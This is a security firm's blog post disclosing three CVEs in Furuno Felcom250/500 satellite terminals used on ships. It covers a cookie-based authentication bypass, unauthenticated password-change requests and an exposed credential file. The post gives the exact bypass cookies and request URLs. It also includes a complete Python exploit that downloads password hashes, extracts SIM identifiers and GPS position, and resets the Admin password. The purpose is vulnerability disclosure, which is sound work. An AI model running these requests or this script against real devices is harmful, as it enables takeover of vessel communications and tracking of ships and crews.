Blog

Furuno Felcom250 / Felcom500 Vulnerabilities

The CyberSKR Maritime Security team identified and registered multiple vulnerabilities in the Furuno250 / Furuno500 Inmarsat FleetBroadband Systems. The vulnerabilities relate to client-side authentication (server-side auth bypass), incorrect access control (unauthorised password change) and (cleartext) password disclosure.

CVE-2018-16590: Client-Side Authentication

Analysis of the JavaScript files included in the Felcom dashboard identified a file of interest, "/login.js". The process flow indicated that if the login request was successful, then the function setLoginData("username") would be executed. This set a Cookie with the login details.

That's A Paddlin'

Due to this a malicious actor could execute the JavaScript function in their browser's console to bypass all authentication checks. This created a valid login session and allow them to access an account without knowledge of their password. Alternatively, the same can also be achieved by setting two cookie values (shown below).

Admin Login (browser console): setLoginData("Admin");
Admin Cookie: Cookie: sm_login=true; sm_loginmode=Admin

Known user accounts are:

  • Log
  • Admin
  • Service

CVE-2018-16591: Incorrect Access Control

Coming across the password change page, logged in as Admin, three options appear. Password, Log, and SIM, none of which ask for the current password. Following the steps in the JavaScript source once more, a request is made to two separate pages (one for Password & Log and another for SMS). A successful password change returns a "200 OK" message, and a failure returned a "400 Bad Request".

XML Credentials File

Replace <MD5_HASH> with the hash for your desired password (e.g. md5("MyNewPassword")). Replace <NEW_SMS_PASS> with your desired cleartext SMS Server password.

Example Admin Password Change:
/cgi-bin/sm_changepassword.cgi?<MD5_HASH>+<MD5_HASH_REPEAT>+Admin

Example SMS Server Password Change:
/cgi-bin/sm_sms_changepasswd.cgi?undefined+<NEW_SMS_PASS>+<NEW_SMS_PASS_REPEAT>

It was also determined these requests could be made unauthenticated.

CVE-2018-16705: (Cleartext) Password Disclosure

Through using the application, a file of interest called "/xml/permission.xml" was identified. Loading the file displayed a list of all the users and their password in an un-salted MD5 format. Furthermore, a cleartext entry for the SMS server's password is also included at the bottom.

XML Credentials File

Analysing the login process, it was determined you could then use these hash values in a "Pass-The-Hash" style attack due to the implementation. This means that in the event the cleartext value can't be ascertained from the hash, a malicious actor can still bypass the login mechanisms that are in place.

Pass The Hash

Proof of Concept Password Change (Python)

Felcom Exploit

import xml.etree.ElementTree
import requests
import md5
import sys

# Replace with your target
the_ip = "http://127.0.0.1:4443"

user = "Admin"

# Download credentials from host
def getHashes(to_check):

    print "[*] Downloading hashes"
    # Download credentials XML file
    dl_xml = requests.get(the_ip+"/xml/permission.xml")

    if(dl_xml.status_code != 200):
        print "[*] Error downloading credentials file"
        sys.exit(0)

    # Parse downloaded credential file
    parsed = xml.etree.ElementTree.fromstring(dl_xml.text)

    # List users and hashes
    if not to_check:
        for i in range(0,4):
            if i==3:
                print "SMS Server: "+parsed[i][0].text
            else:
                print parsed[i][0].text+": "+parsed[i][1].text

    # Check if hash update applied successfully
    else:
        for i in range(0,3):
            if parsed[i][0].text == user:
                if parsed[i][1].text == to_check:
                    print user+": Password update verified"
                else:
                    print user+": Password update mismatch"

# Change user's password
def changePw(new_pass):

    print "[*] Changing password for "+user

    # Generate new MD5 hash
    m = md5.new()
    m.update(new_pass)
    gen_md5 = m.hexdigest()

    # Send credential update request
    r = requests.get(the_ip+"/cgi-bin/sm_changepassword.cgi?"+gen_md5+"+"+gen_md5+"+"+user)

    # Check if change was successful
    if(r.status_code == 200):
        print "Password successfully changed: "+user+" - "+new_pass
    else:
        print "Error changing password credentials file"
        sys.exit(0)

    # Check if hash correctly updated
    getHashes(gen_md5)

# Get device info
def getInfo():
    print "[*] Downloading info\n"
    # Download info XML file
    r_inf = requests.get(the_ip+"/xml/info.xml")
    r_gps = requests.get(the_ip+"/xml/modem_status.xml")

    if(r_inf.status_code != 200 or r_gps.status_code != 200):
        print "[*] Error downloading info file"
        sys.exit(0)

    # Parse downloaded inf file
    parsed_inf = xml.etree.ElementTree.fromstring(r_inf.text)
    parsed_gps = xml.etree.ElementTree.fromstring(r_gps.text.encode('utf-8'))

    print "Device Info:"
    print "[*] Maunfacturer: "+str(parsed_inf[0][0].text)
    print "[*] Model: "+str(parsed_inf[0][1].text)
    print "[*] Serial Number: "+str(parsed_inf[0][3].text)

    print

    print "SIM Info:"
    print "[*] USIMCardID: "+str(parsed_inf[0][4].text)
    print "[*] IMSI: "+str(parsed_inf[0][5].text)
    print "[*] IMEI: "+str(parsed_inf[0][6].text)

    print

    print "GPS Info:"
    print "[*] Lat: "+str(parsed_gps[7][0].text.encode('utf-8'))
    print "[*] Lat: "+str(parsed_gps[7][1].text.encode('utf-8'))
    print "[*] Last Update: "+str(parsed_gps[7][4].text)

		print "\n"

def main():
    getInfo()

    # Change 'user' password to default (01234567)
    changePw("01234567")

if __name__ == "__main__":
	main()
This website uses cookies
Close

Contact CyberSKR

If you would like to inquire about our services or ask a question please fill in the form below

Contact Details
Your Comments
Are you human?